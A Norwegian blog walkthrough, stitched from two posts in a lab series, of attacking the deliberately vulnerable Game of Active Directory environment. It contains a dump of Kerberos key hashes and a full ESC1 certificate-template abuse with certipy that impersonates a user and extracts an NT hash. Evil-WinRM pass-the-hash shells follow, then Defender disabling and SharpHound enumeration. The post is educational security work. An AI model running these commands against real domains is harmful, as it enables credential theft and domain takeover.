grabbedkrbtgt:aes256-cts-hmac-sha1-96:284e2c4031851adcc0ca7dc0a821e0acfaa81e030e70571a38ffea50113ab8a5krbtgt:aes128-cts-hmac-sha1-96:bdde69205c84534f0c7e9d85d512fe05krbtgt:des-cbc-md5:0702c15d67c16445daenerys.targaryen:aes256-cts-hmac-sha1-96:cf091fbd07f729567ac448ba96c08b12fa67c1372f439ae093f67c6e2cf82378daenerys.targaryen:aes128-cts-hmac-sha1-96:eeb91a725e7c7d83bfc7970532f2b69cdaenerys.targaryen:des-cbc-md5:bc6ddf7ce60d29cdviserys.targaryen:aes256-cts-hmac-sha1-96:b4124b8311d9d84ee45455bccbc48a108d366d5887b35428075b644e6724c96eviserys.targaryen:aes128-cts-hmac-sha1-96:4b34e2537da4f1ac2d16135a5cb9bd3eviserys.targaryen:des-cbc-md5:70528fa13bc1f2a1khal.drogo:aes256-cts-hmac-sha1-96:2ef916a78335b11da896216ad6a4f3b1fd6276938d14070444900a75e5bf7eb4khal.drogo:aes128-cts-hmac-sha1-96:7d76da251df8d5cec9bf3732e1f6c1ackhal.drogo:des-cbc-md5:b5ec4c1032ef020djorah.mormont:aes256-cts-hmac-sha1-96:286398f9a9317f08acd3323e5cef90f9e84628c43597850e22d69c8402a26ecejorah.mormont:aes128-cts-hmac-sha1-96:896e68f8c9ca6c608d3feb051f0de671jorah.mormont:des-cbc-md5:b926916289464ffbmissandei:aes256-cts-hmac-sha1-96:41d08ceba69dde0e8f7de8936b3e1e48ee94f9635c855f398cd76262478ffe1cmissandei:aes128-cts-hmac-sha1-96:0a9a4343b11f3cce3b66a7f6c3d6377amissandei:des-cbc-md5:54ec15a8c8e6f44fdrogon:aes256-cts-hmac-sha1-96:2f92317ed2d02a28a05e589095a92a8ec550b5655d45382fc877f9359e1b7fa1drogon:aes128-cts-hmac-sha1-96:3968ac4efd4792d0acef565ac4158814drogon:des-cbc-md5:bf1c85a7c8fdf237sql_svc:aes256-cts-hmac-sha1-96:ca26951b04c2d410864366d048d7b9cbb252a810007368a1afcf54adaa1c0516sql_svc:aes128-cts-hmac-sha1-96:dc0da2bdf6dc56423074a4fd8a8fa5f8sql_svc:des-cbc-md5:91d6b0df31b52a3dMEEREEN$:aes256-cts-hmac-sha1-96:627947a08303ffc008bb8984ac96f0c760fc3d2e5eb862b11edbd3533a10c768MEEREEN$:aes128-cts-hmac-sha1-96:5c196a34f9258e725b2cbc62c72ff5c0MEEREEN$:des-cbc-md5:2fe97f46b9253864BRAAVOS$:aes256-cts-hmac-sha1-96:8d4c7ad755d68b03af90cf6a3961a6b594f8c9ea20b6d3ee0a97895d028d7f8eBRAAVOS$:aes128-cts-hmac-sha1-96:82cbe868cf91352bd7cd6f6f50feb6f1BRAAVOS$:des-cbc-md5:86dfd964d35e0ed9gmsaDragon$:aes256-cts-hmac-sha1-96:ac426a3d054ae8e74d015db42a6b22cb05b1940072665f973601a38f44f11571gmsaDragon$:aes128-cts-hmac-sha1-96:7c121eb9123f679c1904fde4a979dc8bgmsaDragon$:des-cbc-md5:706bf845f4f2df1fSEVENKINGDOMS$:aes256-cts-hmac-sha1-96:f9a4c9931fdcfb0562e22ea9274ba2be42a4bc311bcde8b91864cb44e7ee3fd6SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:b9a00bf0a4e7757c89878238b03a020dSEVENKINGDOMS$:des-cbc-md5:94a4b63edfb04938[*] Cleaning up...
Igjen ser vi at vi har klart å hente ut hasher fra domenekontrolleren i essos.
Et ord om passordcracking
Vi kan også mate samtlige NTLM hasher hentet med secretsdump inn i hashcat, og kjøre den mot en passordliste som f.eks RockYou som vi gjorde tidligere, og vi får følgende resultater som viser at passordet til khal.drogo oppfinsomt nok er “horse”. Selv om dette ikke gir oss noen merverdi er dette for å illustrere poenget at vi kan bruke sårbare sertifikatmaler til å hente frem passord i klartekst i noen tilfeller.
Det siste vi skal se på er ESC1 sårbarheten. Denne fremkommer når en tilgjengelig sertifikatmal er konfigurert til å kunne brukes til autentisering, ikke krefer noen godkjenning, og den som etterspør sertifikatet selv kan oppgi hvem sertifikatet skal gjelde for.
I dette tilfellet etterspør vi sertifikat på vegne av daenerys targaryen, men med khal.drogo sin passordpålogging.
$certipyreq-ukhal.drogo-phorse-caESSOS-CA-targetbraavos.essos.local-templateESC1-upn[email protected]Certipyv5.0.3-byOliverLyak (ly4k)[*] Requesting certificate via RPC[*] Request ID is 23[*] Successfully requested certificate[*] Got certificate with UPN '[email protected]'[*] Certificate has no object SID[*] Try using -sid to set the object SID or see the wiki for more details[*] Saving certificate and private key to 'daenerys.targaryen.pfx'[*] Wrote certificate and private key to 'daenerys.targaryen.pfx'$certipyauth-pfxdaenerys.targaryen.pfx-dc-ip10.3.2.12Certipyv5.0.3-byOliverLyak (ly4k)[*] Certificate identities:[*] SAN UPN: '[email protected]'[*] Using principal: '[email protected]'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'daenerys.targaryen.ccache'[*] Wrote credential cache to 'daenerys.targaryen.ccache'[*] Trying to retrieve NT hash for'daenerys.targaryen'[*] Got hash for'[email protected]': aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a
Og vi kan enten bruke kerberos ticketen eller vi kan bruke NTLM hashen for den saks skyld.
Kerberos ticket:
$evil-winrm-ressos.local-imeereen.essos.localEvil-WinRMshellv3.7Warning:Remotepathcompletionsisdisabledduetorubylimitation:undefinedmethod`quoting_detection_proc' for module RelineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> whoamiessos\daenerys.targaryen*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> hostnamemeereen*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents>
NTLM hash:
$evil-winrm-imeereen.essos.local-udaenerys.targaryen-H34534854d33b398b66684072224bb47aEvil-WinRMshellv3.7Warning:Remotepathcompletionsisdisabledduetorubylimitation:undefinedmethod`quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> whoamiessos\daenerys.targaryen*Evil-WinRM* PS C:\Users\daenerys.targaryen\Documents> hostnamemeereen
Refleksjon
Jeg håper disse tre eksemplene understreker hvor store sårbarheter man kan introdusere med feilkonfigurasjoner i ADCS. Det betyr ikke at ADCS i seg selv er sårbart, men det er fort gjort å introdusere våre egne feil dersom vi ikke setter dem opp med omhu. Jeg anbefaler på det sterkeste å lese SpecterOps sin fantastiske artikkel og medfølgende whitepaper “Certified Pre-Owned”.
Med dette konkluderer vi serien med inn legg om red-team aktiviteter i den bevisst sårbare labben Game of Active Directory, (laget og publisert av Orange CyberDefense) som jeg vil minne om at man selv kan sette opp i eget miljø for å leke med. Vi har på ingen måte vist alt som finnes av sårbarheter, ei heller kan jeg påstå at vi har vært spesielt opptatt av å gå stille i dørene. Her har vi brukt verktøy og metoder som skaper mye støy, og i neste serie skal jeg ta for meg hvordan man detekterer angrepene vi har tatt for oss, og hvordan man tetter sikkerhetshullene.
Målet med denne serien var å demonstrere med faktiske kommandoer, eksempler på hvordan trusselaktører kan ta seg metodisk gjennom miljøet ved å utnytte svake konfigurasjoner man finner underveis, helt til man har totalt eierskap over on-prem AD miljøet. Det er også verdt å merke seg at dersom man sitter med et hybrid-miljø med både on-prem Active Directory og også et Microsoft Entra skymiljø er det mulig at den ene kan bli en angrepsbane inn i den andre – som vi har sett skal det ikke mer enn et flatt nettverk eller et gjenbrukt passord til før man har forflyttet seg på tvers av sikkerhetsbarrierer.
Jeg håper det har vært lærerikt, og passe skremmende for teknikere der ute som sjonglerer oppgaver og drifter systemer på trange budsjett og på mystisk vis likevel klarer å holde skuta flytende. Kanskje dette kan være til nytte for å kartlegge sårbarheter slik at man kan gjøre noe med dem før uvedkommende gjør det. Jeg håper dere følger med videre på blueteam serien jeg skal opprette, og kanskje titter innom innimellom i fremtiden.
Game of Active Directory del 3.3 – Persistence Privilege escalation & Lateral Movement – Cross Forest.
Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.
I forrige post anskaffet vi oss full kontroll over hele sevenkingdoms.local AD-skogen. I denne posten skal vi krysse over til essos.local ved å misbruke forest trust i AD.
Enumerere angrepsbaner
Vi slår av defender og kjører Sharphound.exe og samler inn informasjon om mulige angrepsbaner inn i essos.local
PSC:\tmp>.\SharpHound.exe2025-10-04T14:02:31.6129671-07:00|INFORMATION|ThisversionofSharpHoundiscompatiblewiththe5.0.0ReleaseofBloodHound2025-10-04T14:02:31.6910954-07:00|INFORMATION|ResolvedCollectionMethods:Group,LocalAdmin,Session,Trusts,ACL,Container,RDP,ObjectProps,DCOM,SPNTargets,PSRemote,CertServices,LdapServices,WebClientService,SmbInfo2025-10-04T14:02:31.7067204-07:00|INFORMATION|InitializingSharpHoundat2:02PMon10/4/20252025-10-04T14:02:31.7223489-07:00|INFORMATION|Resolvedcurrentdomaintosevenkingdoms.local2025-10-04T14:02:31.8160907-07:00|INFORMATION|Flags:Group,LocalAdmin,Session,Trusts,ACL,Container,RDP,ObjectProps,DCOM,SPNTargets,PSRemote,CertServices,LdapServices,WebClientService,SmbInfo2025-10-04T14:02:31.8629693-07:00|INFORMATION|BeginningLDAPsearchforsevenkingdoms.local2025-10-04T14:02:31.9410915-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for SEVENKINGDOMS.LOCAL2025-10-04T14:02:32.2379734-07:00|INFORMATION|BeginningLDAPsearchforsevenkingdoms.localConfigurationNC2025-10-04T14:02:32.2379734-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for SEVENKINGDOMS.LOCAL2025-10-04T14:02:32.6285977-07:00|INFORMATION|Producerhasfinished,closingLDAPchannel2025-10-04T14:02:32.6442219-07:00|INFORMATION|LDAPchannelclosed,waitingforconsumers2025-10-04T14:02:36.9408560-07:00|INFORMATION|Consumersfinished,closingoutputchannelClosingwriters2025-10-04T14:02:36.9408560-07:00|INFORMATION|Outputchannelclosed,waitingforoutputtasktocomplete2025-10-04T14:02:37.0189775-07:00|INFORMATION|Status:366objectsfinished (+366 73.2)/s -- Using 87 MB RAM2025-10-04T14:02:37.0189775-07:00|INFORMATION|Enumerationfinishedin00:00:05.15809812025-10-04T14:02:37.0658549-07:00|INFORMATION|Savingcachewithstats:34IDtotypemappings.1nametoSIDmappings.1machinesidmappings.4sidtodomainmappings.0globalcatalogmappings.2025-10-04T14:02:37.0814798-07:00|INFORMATION|SharpHoundEnumerationCompletedat2:02PMon10/4/2025!HappyGraphing!
Vi enumererer også essos.local ved å kjøre sharphound en gang til, og samtidig spesifisere -d essos.local
PSC:\tmp>.\SharpHound.exe-dessos.local2025-10-04T14:09:52.5512713-07:00|INFORMATION|ThisversionofSharpHoundiscompatiblewiththe5.0.0ReleaseofBloodHound2025-10-04T14:09:52.6293949-07:00|INFORMATION|ResolvedCollectionMethods:Group,LocalAdmin,Session,Trusts,ACL,Container,RDP,ObjectProps,DCOM,SPNTargets,PSRemote,CertServices,LdapServices,WebClientService,SmbInfo2025-10-04T14:09:52.6450198-07:00|INFORMATION|InitializingSharpHoundat2:09PMon10/4/20252025-10-04T14:09:53.0043984-07:00|INFORMATION|Loadedcachewithstats:34IDtotypemappings.1nametoSIDmappings.1machinesidmappings.4sidtodomainmappings.0globalcatalogmappings.2025-10-04T14:09:53.1293985-07:00|INFORMATION|Flags:Group,LocalAdmin,Session,Trusts,ACL,Container,RDP,ObjectProps,DCOM,SPNTargets,PSRemote,CertServices,LdapServices,WebClientService,SmbInfo2025-10-04T14:09:53.1918987-07:00|INFORMATION|BeginningLDAPsearchforessos.local2025-10-04T14:09:53.2700164-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.2700164-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.2700164-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.2700164-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.2856483-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.2856483-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3012676-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3012676-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3012676-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3012676-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3012676-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3169012-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3169012-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3169012-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3169012-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3169012-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3325229-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.3481429-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.3481429-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.3481429-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.4731409-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5043921-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5043921-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5043921-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5512659-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5512659-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5668911-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5825144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.5981415-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.6137704-07:00|INFORMATION|BeginningLDAPsearchforessos.localConfigurationNC2025-10-04T14:09:53.6137704-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6137704-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6293937-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6450155-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.6918927-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6918927-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6918927-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6918927-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.6918927-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.7075169-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.7075169-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for ESSOS.LOCAL2025-10-04T14:09:53.7543899-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7543899-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7543899-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7543899-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7543899-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7700140-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.7856411-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8168936-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8325162-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8637642-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.8793895-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.9731414-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.9731414-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.9731414-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:53.9731414-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:54.0356380-07:00|INFORMATION|Producerhasfinished,closingLDAPchannel2025-10-04T14:09:53.9731414-07:00|INFORMATION|[CommonLib ACLProc]Found GUID forACL Right ms-mcs-admpwd: e583a781-3311-412c-a86b-9b5a513970b6in domain ESSOS.LOCAL2025-10-04T14:09:54.0512619-07:00|INFORMATION|LDAPchannelclosed,waitingforconsumers2025-10-04T14:09:56.4106701-07:00|INFORMATION|Consumersfinished,closingoutputchannelClosingwriters2025-10-04T14:09:56.4262463-07:00|INFORMATION|Outputchannelclosed,waitingforoutputtasktocomplete2025-10-04T14:09:56.4895143-07:00|INFORMATION|Status:375objectsfinished (+375 125)/s -- Using 79 MB RAM2025-10-04T14:09:56.4895143-07:00|INFORMATION|Enumerationfinishedin00:00:03.31026312025-10-04T14:09:56.5520217-07:00|INFORMATION|Savingcachewithstats:61IDtotypemappings.2nametoSIDmappings.2machinesidmappings.8sidtodomainmappings.0globalcatalogmappings.2025-10-04T14:09:56.5520217-07:00|INFORMATION|SharpHoundEnumerationCompletedat2:09PMon10/4/2025!HappyGraphing!
Analysere angrepsbaner
Vi logger inn på Bloodhound og laster opp zipfilene vi fikk fra Sharphound for analyse.
Opplasting av første datakolleksjonen til bloodhound.
Vi venter på at bloodhound gjør seg ferdig med å tygge gjennom datamengden, det tar ca 1 minutt i dette tilfellet.
Bloodhound data ingest
Når begge datakolleksjonene er ferdigtygget kan vi sjekke “Data Quality” for å se hva vi har samlet inn.
Vi ser bloodhound har funnet 34 brukere, 118 grupper, 3 maskiner, 11 OUer, 5 GPOer, etc – i alt 7513 relasjoner mellom objekter.
Fotfeste i Essos.
Vi trenger å få et fotfeste inn i essos.local og det finnes flere måter å gjøre det på. Selv om AD Forest skal være en sikkerhetsbarriære er det veldig fort gjort å gjøre noen feil, og ende opp i en situasjon der trusselaktører fort klarer å spre seg utenfor den opprinnelige AD skogen.
